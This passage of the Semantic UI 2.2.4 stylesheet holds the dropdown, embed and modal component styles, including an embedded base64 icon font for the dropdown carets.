.ui.loading.dropdown > i.icon:after {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  box-shadow: 0px 0px 0px 1px transparent;
  margin: -0.64285714em 0em 0em -0.64285714em;
  width: 1.28571429em;
  height: 1.28571429em;
  -webkit-animation: dropdown-spin 0.6s linear;
  animation: dropdown-spin 0.6s linear;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  border-radius: 500rem;
  border-color: #767676 transparent transparent;
  border-style: solid;
  border-width: 0.2em;
}

/* Coupling */

.ui.loading.dropdown.button > i.icon:before,
.ui.loading.dropdown.button > i.icon:after {
  display: none;
}

@-webkit-keyframes dropdown-spin {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

@keyframes dropdown-spin {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

/*--------------------
     Default Text
----------------------*/

.ui.dropdown:not(.button) > .default.text,
.ui.default.dropdown:not(.button) > .text {
  color: rgba(191, 191, 191, 0.87);
}

.ui.dropdown:not(.button) > input:focus + .default.text,
.ui.default.dropdown:not(.button) > input:focus + .text {
  color: rgba(115, 115, 115, 0.87);
}

/*--------------------
        Loading
----------------------*/

.ui.loading.dropdown > .text {
  -webkit-transition: none;
  transition: none;
}

/* Used To Check Position */

.ui.dropdown .loading.menu {
  display: block;
  visibility: hidden;
  z-index: -1;
}

/*--------------------
    Keyboard Select
----------------------*/

/* Selected Item */

.ui.dropdown.selected,
.ui.dropdown .menu .selected.item {
  background: rgba(0, 0, 0, 0.03);
  color: rgba(0, 0, 0, 0.95);
}

/*--------------------
    Search Filtered
----------------------*/

/* Filtered Item */

.ui.dropdown > .filtered.text {
  visibility: hidden;
}

.ui.dropdown .filtered.item {
  display: none !important;
}

/*--------------------
        Error
----------------------*/

.ui.dropdown.error,
.ui.dropdown.error > .text,
.ui.dropdown.error > .default.text {
  color: #9F3A38;
}

.ui.selection.dropdown.error {
  background: #FFF6F6;
  border-color: #E0B4B4;
}

.ui.selection.dropdown.error:hover {
  border-color: #E0B4B4;
}

.ui.dropdown.error > .menu,
.ui.dropdown.error > .menu .menu {
  border-color: #E0B4B4;
}

.ui.dropdown.error > .menu > .item {
  color: #9F3A38;
}

.ui.multiple.selection.error.dropdown > .label {
  border-color: #E0B4B4;
}

/* Item Hover */

.ui.dropdown.error > .menu > .item:hover {
  background-color: #FFF2F2;
}

/* Item Active */

.ui.dropdown.error > .menu .active.item {
  background-color: #FDCFCF;
}

/*--------------------
        Disabled
----------------------*/

/* Disabled */

.ui.disabled.dropdown,
.ui.dropdown .menu > .disabled.item {
  cursor: default;
  pointer-events: none;
  opacity: 0.45;
}

/*******************************
           Variations
*******************************/

/*--------------
    Direction
---------------*/

/* Flyout Direction */

.ui.dropdown .menu {
  left: 0px;
}

/* Default Side (Right) */

.ui.dropdown .right.menu > .menu,
.ui.dropdown .menu .right.menu {
  left: 100% !important;
  right: auto !important;
  border-radius: 0.28571429rem !important;
}

/* Left Flyout Menu */

.ui.dropdown > .left.menu .menu,
.ui.dropdown .menu .left.menu {
  left: auto !important;
  right: 100% !important;
  border-radius: 0.28571429rem !important;
}

.ui.dropdown .item .left.dropdown.icon,
.ui.dropdown .left.menu .item .dropdown.icon {
  width: auto;
  float: left;
  margin: 0em 0.78571429rem 0em 0em;
}

.ui.dropdown .item .left.dropdown.icon,
.ui.dropdown .left.menu .item .dropdown.icon {
  width: auto;
  float: left;
  margin: 0em 0.78571429rem 0em 0em;
}

.ui.dropdown .item .left.dropdown.icon + .text,
.ui.dropdown .left.menu .item .dropdown.icon + .text {
  margin-left: 1em;
}

/*--------------
     Upward
---------------*/

/* Upward Main Menu */

.ui.upward.dropdown > .menu {
  top: auto;
  bottom: 100%;
  box-shadow: 0px 0px 3px 0px rgba(0, 0, 0, 0.08);
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

/* Upward Sub Menu */

.ui.dropdown .upward.menu {
  top: auto !important;
  bottom: 0 !important;
}

/* Active Upward */

.ui.simple.upward.active.dropdown,
.ui.simple.upward.dropdown:hover {
  border-radius: 0.28571429rem 0.28571429rem 0em 0em !important;
}

.ui.upward.dropdown.button:not(.pointing):not(.floating).active {
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

/* Selection */

.ui.upward.selection.dropdown .menu {
  border-top-width: 1px !important;
  border-bottom-width: 0px !important;
  box-shadow: 0px -2px 3px 0px rgba(0, 0, 0, 0.08);
}

.ui.upward.selection.dropdown:hover {
  box-shadow: 0px 0px 2px 0px rgba(0, 0, 0, 0.05);
}

/* Active Upward */

.ui.active.upward.selection.dropdown {
  border-radius: 0em 0em 0.28571429rem 0.28571429rem !important;
}

/* Visible Upward */

.ui.upward.selection.dropdown.visible {
  box-shadow: 0px 0px 3px 0px rgba(0, 0, 0, 0.08);
  border-radius: 0em 0em 0.28571429rem 0.28571429rem !important;
}

/* Visible Hover Upward */

.ui.upward.active.selection.dropdown:hover {
  box-shadow: 0px 0px 3px 0px rgba(0, 0, 0, 0.05);
}

.ui.upward.active.selection.dropdown:hover .menu {
  box-shadow: 0px -2px 3px 0px rgba(0, 0, 0, 0.08);
}

/*--------------
     Simple
---------------*/

/*  Selection Menu */

.ui.scrolling.dropdown .menu,
.ui.dropdown .scrolling.menu {
  overflow-x: hidden;
  overflow-y: auto;
}

.ui.scrolling.dropdown .menu {
  overflow-x: hidden;
  overflow-y: auto;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  -webkit-overflow-scrolling: touch;
  min-width: 100% !important;
  width: auto !important;
}

.ui.dropdown .scrolling.menu {
  position: static;
  overflow-y: auto;
  border: none;
  box-shadow: none !important;
  border-radius: 0 !important;
  margin: 0 !important;
  min-width: 100% !important;
  width: auto !important;
  border-top: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.scrolling.dropdown .menu .item.item.item,
.ui.dropdown .scrolling.menu > .item.item.item {
  border-top: none;
  padding-right: calc( 1.14285714rem  +  17px ) !important;
}

.ui.scrolling.dropdown .menu .item:first-child,
.ui.dropdown .scrolling.menu .item:first-child {
  border-top: none;
}

.ui.dropdown > .animating.menu .scrolling.menu,
.ui.dropdown > .visible.menu .scrolling.menu {
  display: block;
}

/* Scrollbar in IE */

@media all and (-ms-high-contrast: none) {
  .ui.scrolling.dropdown .menu,
  .ui.dropdown .scrolling.menu {
    min-width: calc(100% -  17px );
  }
}

@media only screen and (max-width: 767px) {
  .ui.scrolling.dropdown .menu,
  .ui.dropdown .scrolling.menu {
    max-height: 10.28571429rem;
  }
}

@media only screen and (min-width: 768px) {
  .ui.scrolling.dropdown .menu,
  .ui.dropdown .scrolling.menu {
    max-height: 15.42857143rem;
  }
}

@media only screen and (min-width: 992px) {
  .ui.scrolling.dropdown .menu,
  .ui.dropdown .scrolling.menu {
    max-height: 20.57142857rem;
  }
}

@media only screen and (min-width: 1920px) {
  .ui.scrolling.dropdown .menu,
  .ui.dropdown .scrolling.menu {
    max-height: 20.57142857rem;
  }
}

/*--------------
     Simple
---------------*/

/* Displays without javascript */

.ui.simple.dropdown .menu:before,
.ui.simple.dropdown .menu:after {
  display: none;
}

.ui.simple.dropdown .menu {
  position: absolute;
  display: block;
  overflow: hidden;
  top: -9999px !important;
  opacity: 0;
  width: 0;
  height: 0;
  -webkit-transition: opacity 0.1s ease;
  transition: opacity 0.1s ease;
}

.ui.simple.active.dropdown,
.ui.simple.dropdown:hover {
  border-bottom-left-radius: 0em !important;
  border-bottom-right-radius: 0em !important;
}

.ui.simple.active.dropdown > .menu,
.ui.simple.dropdown:hover > .menu {
  overflow: visible;
  width: auto;
  height: auto;
  top: 100% !important;
  opacity: 1;
}

.ui.simple.dropdown > .menu > .item:active > .menu,
.ui.simple.dropdown:hover > .menu > .item:hover > .menu {
  overflow: visible;
  width: auto;
  height: auto;
  top: 0% !important;
  left: 100% !important;
  opacity: 1;
}

.ui.simple.disabled.dropdown:hover .menu {
  display: none;
  height: 0px;
  width: 0px;
  overflow: hidden;
}

/* Visible */

.ui.simple.visible.dropdown > .menu {
  display: block;
}

/*--------------
      Fluid
---------------*/

.ui.fluid.dropdown {
  display: block;
  width: 100%;
  min-width: 0em;
}

.ui.fluid.dropdown > .dropdown.icon {
  float: right;
}

/*--------------
    Floating
---------------*/

.ui.floating.dropdown .menu {
  left: 0;
  right: auto;
  box-shadow: 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.15) !important;
  border-radius: 0.28571429rem !important;
}

.ui.floating.dropdown > .menu {
  margin-top: 0.5em !important;
  border-radius: 0.28571429rem !important;
}

/*--------------
     Pointing
---------------*/

.ui.pointing.dropdown > .menu {
  top: 100%;
  margin-top: 0.78571429rem;
  border-radius: 0.28571429rem;
}

.ui.pointing.dropdown > .menu:after {
  display: block;
  position: absolute;
  pointer-events: none;
  content: '';
  visibility: visible;
  -webkit-transform: rotate(45deg);
  -ms-transform: rotate(45deg);
  transform: rotate(45deg);
  width: 0.5em;
  height: 0.5em;
  box-shadow: -1px -1px 0px 1px rgba(34, 36, 38, 0.15);
  background: #FFFFFF;
  z-index: 2;
}

.ui.pointing.dropdown > .menu:after {
  top: -0.25em;
  left: 50%;
  margin: 0em 0em 0em -0.25em;
}

/* Top Left Pointing */

.ui.top.left.pointing.dropdown > .menu {
  top: 100%;
  bottom: auto;
  left: 0%;
  right: auto;
  margin: 1em 0em 0em;
}

.ui.top.left.pointing.dropdown > .menu {
  top: 100%;
  bottom: auto;
  left: 0%;
  right: auto;
  margin: 1em 0em 0em;
}

.ui.top.left.pointing.dropdown > .menu:after {
  top: -0.25em;
  left: 1em;
  right: auto;
  margin: 0em;
  -webkit-transform: rotate(45deg);
  -ms-transform: rotate(45deg);
  transform: rotate(45deg);
}

/* Top Right  Pointing */

.ui.top.right.pointing.dropdown > .menu {
  top: 100%;
  bottom: auto;
  right: 0%;
  left: auto;
  margin: 1em 0em 0em;
}

.ui.top.right.pointing.dropdown > .menu:after {
  top: -0.25em;
  left: auto;
  right: 1em;
  margin: 0em;
  -webkit-transform: rotate(45deg);
  -ms-transform: rotate(45deg);
  transform: rotate(45deg);
}

/* Left Pointing */

.ui.left.pointing.dropdown > .menu {
  top: 0%;
  left: 100%;
  right: auto;
  margin: 0em 0em 0em 1em;
}

.ui.left.pointing.dropdown > .menu:after {
  top: 1em;
  left: -0.25em;
  margin: 0em 0em 0em 0em;
  -webkit-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  transform: rotate(-45deg);
}

/* Right Pointing */

.ui.right.pointing.dropdown > .menu {
  top: 0%;
  left: auto;
  right: 100%;
  margin: 0em 1em 0em 0em;
}

.ui.right.pointing.dropdown > .menu:after {
  top: 1em;
  left: auto;
  right: -0.25em;
  margin: 0em 0em 0em 0em;
  -webkit-transform: rotate(135deg);
  -ms-transform: rotate(135deg);
  transform: rotate(135deg);
}

/* Bottom Pointing */

.ui.bottom.pointing.dropdown > .menu {
  top: auto;
  bottom: 100%;
  left: 0%;
  right: auto;
  margin: 0em 0em 1em;
}

.ui.bottom.pointing.dropdown > .menu:after {
  top: auto;
  bottom: -0.25em;
  right: auto;
  margin: 0em;
  -webkit-transform: rotate(-135deg);
  -ms-transform: rotate(-135deg);
  transform: rotate(-135deg);
}

/* Reverse Sub-Menu Direction */

.ui.bottom.pointing.dropdown > .menu .menu {
  top: auto !important;
  bottom: 0px !important;
}

/* Bottom Left */

.ui.bottom.left.pointing.dropdown > .menu {
  left: 0%;
  right: auto;
}

.ui.bottom.left.pointing.dropdown > .menu:after {
  left: 1em;
  right: auto;
}

/* Bottom Right */

.ui.bottom.right.pointing.dropdown > .menu {
  right: 0%;
  left: auto;
}

.ui.bottom.right.pointing.dropdown > .menu:after {
  left: auto;
  right: 1em;
}

/* Upward pointing */

.ui.upward.pointing.dropdown > .menu,
.ui.upward.top.pointing.dropdown > .menu {
  top: auto;
  bottom: 100%;
  margin: 0em 0em 0.78571429rem;
  border-radius: 0.28571429rem;
}

.ui.upward.pointing.dropdown > .menu:after,
.ui.upward.top.pointing.dropdown > .menu:after {
  top: 100%;
  bottom: auto;
  box-shadow: 1px 1px 0px 1px rgba(34, 36, 38, 0.15);
  margin: -0.25em 0em 0em;
}

/*******************************
         Theme Overrides
*******************************/

/* Dropdown Carets */

@font-face {
  font-family: 'Dropdown';
  src: url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfuIIAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zjo82LgAAAFwAAABVGhlYWQAQ88bAAACxAAAADZoaGVhAwcB6QAAAvwAAAAkaG10eAS4ABIAAAMgAAAAIGxvY2EBNgDeAAADQAAAABJtYXhwAAoAFgAAA1QAAAAgbmFtZVcZpu4AAAN0AAABRXBvc3QAAwAAAAAEvAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDX//3//wAB/+MPLQADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAIABJQElABMAABM0NzY3BTYXFhUUDwEGJwYvASY1AAUGBwEACAUGBoAFCAcGgAUBEgcGBQEBAQcECQYHfwYBAQZ/BwYAAQAAAG4BJQESABMAADc0PwE2MzIfARYVFAcGIyEiJyY1AAWABgcIBYAGBgUI/wAHBgWABwaABQWABgcHBgUFBgcAAAABABIASQC3AW4AEwAANzQ/ATYXNhcWHQEUBwYnBi8BJjUSBoAFCAcFBgYFBwgFgAbbBwZ/BwEBBwQJ/wgEBwEBB38GBgAAAAABAAAASQClAW4AEwAANxE0NzYzMh8BFhUUDwEGIyInJjUABQYHCAWABgaABQgHBgVbAQAIBQYGgAUIBwWABgYFBwAAAAEAAAABAADZuaKOXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAAAAACgAUAB4AQgBkAIgAqgAAAAEAAAAIABQAAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAOAAAAAQAAAAAAAgAOAEcAAQAAAAAAAwAOACQAAQAAAAAABAAOAFUAAQAAAAAABQAWAA4AAQAAAAAABgAHADIAAQAAAAAACgA0AGMAAwABBAkAAQAOAAAAAwABBAkAAgAOAEcAAwABBAkAAwAOACQAAwABBAkABAAOAFUAAwABBAkABQAWAA4AAwABBAkABgAOADkAAwABBAkACgA0AGMAaQBjAG8AbQBvAG8AbgBWAGUAcgBzAGkAbwBuACAAMQAuADAAaQBjAG8AbQBvAG8Abmljb21vb24AaQBjAG8AbQBvAG8AbgBSAGUAZwB1AGwAYQByAGkAYwBvAG0AbwBvAG4ARgBvAG4AdAAgAGcAZQBuAGUAcgBhAHQAZQBkACAAYgB5ACAASQBjAG8ATQBvAG8AbgAuAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=) format('truetype'), url(data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AAAVwAAoAAAAABSgAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAAdkAAAHZLDXE/09TLzIAAALQAAAAYAAAAGAIIweQY21hcAAAAzAAAABMAAAATA9+4ghnYXNwAAADfAAAAAgAAAAIAAAAEGhlYWQAAAOEAAAANgAAADYAQ88baGhlYQAAA7wAAAAkAAAAJAMHAelobXR4AAAD4AAAACAAAAAgBLgAEm1heHAAAAQAAAAABgAAAAYACFAAbmFtZQAABAgAAAFFAAABRVcZpu5wb3N0AAAFUAAAACAAAAAgAAMAAAEABAQAAQEBCGljb21vb24AAQIAAQA6+BwC+BsD+BgEHgoAGVP/i4seCgAZU/+LiwwHi2v4lPh0BR0AAACIDx0AAACNER0AAAAJHQAAAdASAAkBAQgPERMWGyAlKmljb21vb25pY29tb29udTB1MXUyMHVGMEQ3dUYwRDh1RjBEOXVGMERBAAACAYkABgAIAgABAAQABwAKAA0AVgCfAOgBL/yUDvyUDvyUDvuUDvtvi/emFYuQjZCOjo+Pj42Qiwj3lIsFkIuQiY6Hj4iNhouGi4aJh4eHCPsU+xQFiIiGiYaLhouHjYeOCPsU9xQFiI+Jj4uQCA77b4v3FBWLkI2Pjo8I9xT3FAWPjo+NkIuQi5CJjogI9xT7FAWPh42Hi4aLhomHh4eIiIaJhosI+5SLBYaLh42HjoiPiY+LkAgO+92d928Vi5CNkI+OCPcU9xQFjo+QjZCLkIuPiY6Hj4iNhouGCIv7lAWLhomHh4iIh4eJhouGi4aNiI8I+xT3FAWHjomPi5AIDvvdi+YVi/eUBYuQjZCOjo+Pj42Qi5CLkImOhwj3FPsUBY+IjYaLhouGiYeHiAj7FPsUBYiHhomGi4aLh42Hj4iOiY+LkAgO+JQU+JQViwwKAAAAAAMCAAGQAAUAAAFMAWYAAABHAUwBZgAAAPUAGQCEAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAQAAA8NoB4P/g/+AB4AAgAAAAAQAAAAAAAAAAAAAAIAAAAAAAAgAAAAMAAAAUAAMAAQAAABQABAA4AAAACgAIAAIAAgABACDw2v/9//8AAAAAACDw1//9//8AAf/jDy0AAwABAAAAAAAAAAAAAAABAAH//wAPAAEAAAABAAA5emozXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAUAAACAAAAAAADgCuAAEAAAAAAAEADgAAAAEAAAAAAAIADgBHAAEAAAAAAAMADgAkAAEAAAAAAAQADgBVAAEAAAAAAAUAFgAOAAEAAAAAAAYABwAyAAEAAAAAAAoANABjAAMAAQQJAAEADgAAAAMAAQQJAAIADgBHAAMAAQQJAAMADgAkAAMAAQQJAAQADgBVAAMAAQQJAAUAFgAOAAMAAQQJAAYADgA5AAMAAQQJAAoANABjAGkAYwBvAG0AbwBvAG4AVgBlAHIAcwBpAG8AbgAgADEALgAwAGkAYwBvAG0AbwBvAG5pY29tb29uAGkAYwBvAG0AbwBvAG4AUgBlAGcAdQBsAGEAcgBpAGMAbwBtAG8AbwBuAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');
  font-weight: normal;
  font-style: normal;
}

.ui.dropdown > .dropdown.icon {
  font-family: 'Dropdown';
  line-height: 1;
  height: 1em;
  width: 1.23em;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
  font-weight: normal;
  font-style: normal;
  text-align: center;
}

.ui.dropdown > .dropdown.icon {
  width: auto;
}

.ui.dropdown > .dropdown.icon:before {
  content: '\f0d7';
}

/* Sub Menu */

.ui.dropdown .menu .item .dropdown.icon:before {
  content: '\f0da' ;
}

.ui.dropdown .item .left.dropdown.icon:before,
.ui.dropdown .left.menu .item .dropdown.icon:before {
  content: "\f0d9" ;
}

/* Vertical Menu Dropdown */

.ui.vertical.menu .dropdown.item > .dropdown.icon:before {
  content: "\f0da" ;
}

/* Icons for Reference
.dropdown.down.icon {
  content: "\f0d7";
}
.dropdown.up.icon {
  content: "\f0d8";
}
.dropdown.left.icon {
  content: "\f0d9";
}
.dropdown.icon.icon {
  content: "\f0da";
}
*/

/*******************************
        User Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Video
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Types
*******************************/

.ui.embed {
  position: relative;
  max-width: 100%;
  height: 0px;
  overflow: hidden;
  background: #DCDDDE;
  padding-bottom: 56.25%;
}

/*-----------------
  Embedded Content
------------------*/

.ui.embed iframe,
.ui.embed embed,
.ui.embed object {
  position: absolute;
  border: none;
  width: 100%;
  height: 100%;
  top: 0px;
  left: 0px;
  margin: 0em;
  padding: 0em;
}

/*-----------------
      Embed
------------------*/

.ui.embed > .embed {
  display: none;
}

/*--------------
   Placeholder
---------------*/

.ui.embed > .placeholder {
  position: absolute;
  cursor: pointer;
  top: 0px;
  left: 0px;
  display: block;
  width: 100%;
  height: 100%;
  background-color: radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));
}

/*--------------
      Icon
---------------*/

.ui.embed > .icon {
  cursor: pointer;
  position: absolute;
  top: 0px;
  left: 0px;
  width: 100%;
  height: 100%;
  z-index: 2;
}

.ui.embed > .icon:after {
  position: absolute;
  top: 0%;
  left: 0%;
  width: 100%;
  height: 100%;
  z-index: 3;
  content: '';
  background: -webkit-radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));
  background: radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));
  opacity: 0.5;
  -webkit-transition: opacity 0.5s ease;
  transition: opacity 0.5s ease;
}

.ui.embed > .icon:before {
  position: absolute;
  top: 50%;
  left: 50%;
  z-index: 4;
  -webkit-transform: translateX(-50%) translateY(-50%);
  -ms-transform: translateX(-50%) translateY(-50%);
  transform: translateX(-50%) translateY(-50%);
  color: #FFFFFF;
  font-size: 6rem;
  text-shadow: 0px 2px 10px rgba(34, 36, 38, 0.2);
  -webkit-transition: opacity 0.5s ease, color 0.5s ease;
  transition: opacity 0.5s ease, color 0.5s ease;
  z-index: 10;
}

/*******************************
            States
*******************************/

/*--------------
     Hover
---------------*/

.ui.embed .icon:hover:after {
  background: -webkit-radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));
  background: radial-gradient(transparent 45%, rgba(0, 0, 0, 0.3));
  opacity: 1;
}

.ui.embed .icon:hover:before {
  color: #FFFFFF;
}

/*--------------
     Active
---------------*/

.ui.active.embed > .icon,
.ui.active.embed > .placeholder {
  display: none;
}

.ui.active.embed > .embed {
  display: block;
}

/*******************************
        Video Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/

/*******************************
          Variations
*******************************/

.ui.square.embed {
  padding-bottom: 100%;
}

.ui[class*="4:3"].embed {
  padding-bottom: 75%;
}

.ui[class*="16:9"].embed {
  padding-bottom: 56.25%;
}

.ui[class*="21:9"].embed {
  padding-bottom: 42.85714286%;
}
/*!
 * # Semantic UI 2.2.4 - Modal
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Modal
*******************************/

.ui.modal {
  display: none;
  position: fixed;
  z-index: 1001;
  top: 50%;
  left: 50%;
  text-align: left;
  background: #FFFFFF;
  border: none;
  box-shadow: 1px 3px 3px 0px rgba(0, 0, 0, 0.2), 1px 3px 15px 2px rgba(0, 0, 0, 0.2);
  -webkit-transform-origin: 50% 25%;
  -ms-transform-origin: 50% 25%;
  transform-origin: 50% 25%;
  border-radius: 0.28571429rem;
  -webkit-user-select: text;
  -moz-user-select: text;
  -ms-user-select: text;
  user-select: text;
  will-change: top, left, margin, transform, opacity;
}

.ui.modal > :first-child:not(.icon),
.ui.modal > .icon:first-child + * {
  border-top-left-radius: 0.28571429rem;
  border-top-right-radius: 0.28571429rem;
}

.ui.modal > :last-child {
  border-bottom-left-radius: 0.28571429rem;
  border-bottom-right-radius: 0.28571429rem;
}

/*******************************
            Content
*******************************/

/*--------------
     Close
---------------*/

.ui.modal > .close {
  cursor: pointer;
  position: absolute;
  top: -2.5rem;
  right: -2.5rem;
  z-index: 1;
  opacity: 0.8;
  font-size: 1.25em;
  color: #FFFFFF;
  width: 2.25rem;
  height: 2.25rem;
  padding: 0.625rem 0rem 0rem 0rem;
}

.ui.modal > .close:hover {
  opacity: 1;
}

/*--------------
     Header
---------------*/

.ui.modal > .header {
  display: block;
  
  background: #FFFFFF;
  margin: 0em;
  padding: 1.25rem 1.5rem;
  box-shadow: none;
  color: rgba(0, 0, 0, 0.85);
  border-bottom: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.modal > .header:not(.ui) {
  font-size: 1.42857143rem;
  line-height: 1.2857em;
  font-weight: bold;
}

/*--------------
     Content
---------------*/

.ui.modal > .content {
  display: block;
  width: 100%;
  font-size: 1em;
  line-height: 1.4;
  padding: 1.5rem;
  background: #FFFFFF;
}

.ui.modal > .image.content {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
}

/* Image */

.ui.modal > .content > .image {
  display: block;
  -webkit-box-flex: 0;
  -webkit-flex: 0 1 auto;
  -ms-flex: 0 1 auto;
  flex: 0 1 auto;
  width: '';
  -webkit-align-self: top;
  -ms-flex-item-align: top;
  align-self: top;
}

.ui.modal > [class*="top aligned"] {
  -webkit-align-self: top;
  -ms-flex-item-align: top;
  align-self: top;
}

.ui.modal > [class*="middle aligned"] {
  -webkit-align-self: middle;
  -ms-flex-item-align: middle;
  align-self: middle;
}

.ui.modal > [class*="stretched"] {
  -webkit-align-self: stretch;
  -ms-flex-item-align: stretch;
  align-self: stretch;
}

/* Description */

.ui.modal > .content > .description {
  display: block;
  -webkit-box-flex: 1;
  -webkit-flex: 1 0 auto;
  -ms-flex: 1 0 auto;
  flex: 1 0 auto;
  min-width: 0px;
  -webkit-align-self: top;
  -ms-flex-item-align: top;
  align-self: top;
}

.ui.modal > .content > .icon + .description,
.ui.modal > .content > .image + .description {
  -webkit-box-flex: 0;
  -webkit-flex: 0 1 auto;
  -ms-flex: 0 1 auto;
  flex: 0 1 auto;
  min-width: '';
  width: auto;
  padding-left: 2em;
}

/*rtl:ignore*/

.ui.modal > .content > .image > i.icon {
  margin: 0em;
  opacity: 1;
  width: auto;
  line-height: 1;
  font-size: 8rem;
}

/*--------------
     Actions
---------------*/

.ui.modal > .actions {
  background: #F9FAFB;
  padding: 1rem 1rem;
  border-top: 1px solid rgba(34, 36, 38, 0.15);
  text-align: right;
}

.ui.modal .actions > .button {
  margin-left: 0.75em;
}

/*-------------------
       Responsive
--------------------*/

/* Modal Width */

@media only screen and (max-width: 767px) {
  .ui.modal {
    width: 95%;
    margin: 0em 0em 0em -47.5%;
  }
}

@media only screen and (min-width: 768px) {
  .ui.modal {
    width: 88%;
    margin: 0em 0em 0em -44%;
  }
}

@media only screen and (min-width: 992px) {
  .ui.modal {
    width: 850px;
    margin: 0em 0em 0em -425px;
  }
}

@media only screen and (min-width: 1200px) {
  .ui.modal {
    width: 900px;
    margin: 0em 0em 0em -450px;
  }
}

@media only screen and (min-width: 1920px) {
  .ui.modal {
    width: 950px;
    margin: 0em 0em 0em -475px;
  }
}

/* Tablet and Mobile */

@media only screen and (max-width: 991px) {
  .ui.modal > .header {
    padding-right: 2.25rem;
  }

  .ui.modal > .close {
    top: 1.0535rem;
    right: 1rem;
    color: rgba(0, 0, 0, 0.87);
  }
}

/* Mobile */

@media only screen and (max-width: 767px) {
  .ui.modal > .header {
    padding: 0.75rem 1rem !important;
    padding-right: 2.25rem !important;
  }

  .ui.modal > .content {
    display: block;
    padding: 1rem !important;
  }

  .ui.modal > .close {
    top: 0.5rem !important;
    right: 0.5rem !important;
  }

  /*rtl:ignore*/

  .ui.modal .image.content {
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
  }

  .ui.modal .content > .image {
    display: block;
    max-width: 100%;
    margin: 0em auto !important;
    text-align: center;
    padding: 0rem 0rem 1rem !important;
  }

  .ui.modal > .content > .image > i.icon {
    font-size: 5rem;
    text-align: center;
  }

  /*rtl:ignore*/

  .ui.modal .content > .description {
    display: block;
    width: 100% !important;
    margin: 0em !important;
    padding: 1rem 0rem !important;
    box-shadow: none;
  }

  /* Let Buttons Stack */

  .ui.modal > .actions {
    padding: 1rem 1rem 0rem !important;
  }

  .ui.modal .actions > .buttons,
  .ui.modal .actions > .button {
    margin-bottom: 1rem;
  }
}

/*--------------
    Coupling
---------------*/

.ui.inverted.dimmer > .ui.modal {
  box-shadow: 1px 3px 10px 2px rgba(0, 0, 0, 0.2);
}

/*******************************
             Types
*******************************/

.ui.basic.modal {
  background-color: transparent;
  border: none;
  border-radius: 0em;
  box-shadow: none !important;
  color: #FFFFFF;
}

.ui.basic.modal > .header,
.ui.basic.modal > .content,
.ui.basic.modal > .actions {
  background-color: transparent;
}

.ui.basic.modal > .header {
  color: #FFFFFF;
}

.ui.basic.modal > .close {
  top: 1rem;
  right: 1.5rem;
}

.ui.inverted.dimmer > .basic.modal {
  color: rgba(0, 0, 0, 0.87);
}

.ui.inverted.dimmer > .ui.basic.modal > .header {
  color: rgba(0, 0, 0, 0.85);
}

/* Tablet and Mobile */

@media only screen and (max-width: 991px) {
  .ui.basic.modal > .close {
    color: #FFFFFF;
  }
}

/*******************************
             States
*******************************/

.ui.active.modal {
  display: block;
}

/*******************************
           Variations
*******************************/

/*--------------
    Scrolling
---------------*/

